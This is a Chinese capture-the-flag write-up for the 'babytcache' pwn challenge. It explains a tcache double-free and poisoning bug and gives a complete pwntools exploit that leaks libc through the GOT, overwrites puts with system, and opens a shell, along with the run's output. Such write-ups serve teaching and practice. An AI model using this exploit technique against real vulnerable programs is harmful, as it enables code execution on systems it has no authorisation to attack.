babytcache 简单的tcache利用

原程序下载地址:http://file.eonew.cn/elf/babytcache,IDA分析文件下载地址:http://file.eonew.cn/ida/babytcache.i64。由于tcache是glibc-2.26以及之后的版本才有的,所以环境的版本至少是2.26或2.26以上,以下的测试结果全在glibc-2.27的环境。

简介

该pwn题主要依赖于对tcache的检查不严密导致的溢出漏洞,因为检查不严,所以我们可以对同一个 chunk 多次 free,造成 cycliced list。

程序功能介绍

int print_menu()
{
  setbuf(stdout, 0LL);
  signal(14, handler);
  alarm(0x3Cu);
  puts("NoteBook v0.1");
  puts("1.add a note");
  puts("2.delete a note");
  puts("3.show a note");
  return puts("4.exit");
}

主要是三个功能:增加笔记,删除笔记,显示笔记。

增加笔记

int add_note()
{
  int v1; // ebx

  if ( global_amount > 9 )
    return puts("Full!");
  printf("content:");
  v1 = global_amount;
  ptr[v1] = (char *)malloc(80uLL);
  input((__int64)ptr[global_amount], 80u);
  ++global_amount;
  return puts("Done.");
}

删除笔记

void delete_note()
{
  int v0; // [rsp+Ch] [rbp-4h]

  printf("index:");
  v0 = get_number();
  if ( v0 < global_amount )
    free(ptr[v0]);
  else
    puts("out of range!");
}

显示笔记

int show_note()
{
  int result; // eax
  int v1; // [rsp+Ch] [rbp-4h]

  printf("index:");
  v1 = get_number();
  if ( v1 < global_amount )
    result = puts(ptr[v1]);
  else
    result = puts("out of range!");
  return result;
}

程序有一个ptr全局指针,用来存放note的。

程序有什么漏洞呢?

正如上面的代码所示,我们可以对一个chunk多次free,造成 cycliced list(详细解释:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/tcache_attack/#tcache-dup)。虽然可以使chunk成链,但是该怎么利用——我们可以进行多次malloc操作,也就是增加笔记的操作,在增加笔记的同时,程序允许我们对chunk进行输入字符,这样我们可以通过覆盖 tcache 中的 next,不需要伪造任何 chunk 结构即可实现 malloc 到任何地址(详细解释:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/tcache_attack/#tcache-poisoning)。

下面我用一段代码来演示一遍这个漏洞:

#include <stdio.h>
#include <stdlib.h>

int g = 1234;

int main()
{
    int *a = malloc(8);
    printf("g: 0x%016X\n", &g);
    printf("a: 0x%016X\n", a);
    free(a);
    free(a);

    printf("malloc(8): 0x%016X\n", malloc(8));
    *(void **)a = &g;
    printf("malloc(8): 0x%016X\n", malloc(8));
    printf("malloc(8): 0x%016X\n", malloc(8));
    return 0;
}

允许结果:

g: 0x000000001680C010
a: 0x0000000017054260
malloc(8): 0x0000000017054260
malloc(8): 0x0000000017054260
malloc(8): 0x000000001680C010

从上面的结果可以看到,在第三次malloc的时候,malloc到&g的地址,也就可以控制全局变量g了。

exploit思路

任意地址写

def write_in(addr,content):
    # free三次
    sh.sendline('2')
    sh.recvuntil(':')
    sh.sendline('0')
    sh.recvuntil('>')
    sh.sendline('2')
    sh.recvuntil(':')
    sh.sendline('0')
    sh.recvuntil('>')
    sh.sendline('2')
    sh.recvuntil(':')
    sh.sendline('0')
    sh.recvuntil('>')

    # 申请三次
    sh.sendline('1')
    sh.recvuntil(':')
    sh.sendline(addr) # 第一次
    sh.recvuntil('>')
    sh.sendline('1')
    sh.recvuntil(':')
    sh.sendline('/bin/sh') # 第二次
    sh.recvuntil('>')
    sh.sendline('1')
    sh.recvuntil(':')
    sh.sendline(content) # 第三次
    sh.recvuntil('>')

如上所示,先申请三次,在释放三次,注意这里是申请三次,不然的话tcache->counts[tc_idx]的值会变成-1,而导致tcache无法再次使用了,第一次申请的时候将要修改的地址传入,第二次申请的时候tcache->entries[tc_idx]会变成第一次传入的地址,这时我们在传入"/bin/sh"(为了方便以后使用),第三次申请的就是第一次传入的地址,而且还可以对地址内存进行修改。

分为两步:泄露基地址,修改got表

泄露基地址

先控制ptr指针,将ptr指针修改为 __libc_start_main.got 的地址,然后使用程序的显示笔记函数即可泄露基地址。

# 将ptr的第2个地址修改为__libc_start_main的got地址
write_in(p64(ptr_addr_offset_8), p64(elf.got['__libc_start_main']))

# 打印地址
sh.sendline('3')
sh.recvuntil(':')
sh.sendline('1')  # 第1个索引
temp = sh.recvuntil('\n')[:-1]
temp = temp + b'\x00' * (8 - len(temp))
__libc_start_main_addr = u64(temp)
log.success('__libc_start_main_addr: ' + hex(__libc_start_main_addr))
libc_addr = __libc_start_main_addr - libc.symbols['__libc_start_main']
log.success('libc_addr: ' + hex(libc_addr))
system_addr = libc_addr + libc.symbols['system']
log.success('system_addr: ' + hex(system_addr))
sh.recvuntil('>')

修改got表

直接用该程序的任意写漏洞即可,将puts的got地址修改为system函数的地址,然后在调用显示笔记这个函数,由于我们前面就把参数"/bin/sh"写入到note中了,所以最后就相当于puts("/bin/sh")变成了system("/bin/sh")了。

# 将puts的got地址修改为system函数的地址
write_in(p64(elf.got['puts']), p64(system_addr))

# get shell
sh.sendline('3')
sh.sendline('0')

exploit脚本

#! /usr/bin/python2
# -*- coding: utf-8 -*-

from pwn import *

# context.log_level = 'debug'
# context.terminal = ['deepin-terminal', '-x', 'sh', '-c']

file_path = './babytcache'
libc_path = '/lib/x86_64-linux-gnu/libc.so.6'

libc = ELF(libc_path)
elf = ELF(file_path)

ptr_addr_offset_8 = 0x6020E0 + 8

sh = process(file_path)
# gdb.attach(sh,'set $g = (char **)0x6020E0\nc')
sh.recvuntil('>')

log.info('__libc_start_main.got: ' + hex(elf.got['__libc_start_main']))


def write_in(addr, content):
    # free三次
    sh.sendline('2')
    sh.recvuntil(':')
    sh.sendline('0')
    sh.recvuntil('>')
    sh.sendline('2')
    sh.recvuntil(':')
    sh.sendline('0')
    sh.recvuntil('>')
    sh.sendline('2')
    sh.recvuntil(':')
    sh.sendline('0')
    sh.recvuntil('>')

    # 申请三次
    sh.sendline('1')
    sh.recvuntil(':')
    sh.sendline(addr)
    sh.recvuntil('>')
    sh.sendline('1')
    sh.recvuntil(':')
    sh.sendline('/bin/sh')
    sh.recvuntil('>')
    sh.sendline('1')
    sh.recvuntil(':')
    sh.sendline(content)
    sh.recvuntil('>')


# 申请一次
sh.sendline('1')
sh.recvuntil(':')
sh.sendline('nothing')
sh.recvuntil('>')

# 将ptr的第2个地址修改为__libc_start_main的got地址
write_in(p64(ptr_addr_offset_8), p64(elf.got['__libc_start_main']))

# 打印地址
sh.sendline('3')
sh.recvuntil(':')
sh.sendline('1')  # 第1个索引
temp = sh.recvuntil('\n')[:-1]
temp = temp + b'\x00' * (8 - len(temp))
__libc_start_main_addr = u64(temp)
log.success('__libc_start_main_addr: ' + hex(__libc_start_main_addr))
libc_addr = __libc_start_main_addr - libc.symbols['__libc_start_main']
log.success('libc_addr: ' + hex(libc_addr))
system_addr = libc_addr + libc.symbols['system']
log.success('system_addr: ' + hex(system_addr))
sh.recvuntil('>')

# 将puts的got地址修改为system函数的地址
write_in(p64(elf.got['puts']), p64(system_addr))

# get shell
sh.sendline('3')
sh.sendline('0')

sh.interactive()

最终效果

ex@Ex:~/test$ ./main.py 
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/ex/test/babytcache'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE
[+] Starting local process './babytcache': Done
[*] __libc_start_main.got: 0x602058
[+] __libc_start_main_addr: 0x7f361f279ab0
[+] libc_addr: 0x7f361f258000
[+] system_addr: 0x7f361f2a7440
[*] Switching to interactive mode
index:$ echo hello world
hello world
$

总结

该程序需要用到tcache poisoning和tcache dup来组合漏洞,通过这个题目可以更深刻的了解tcahce。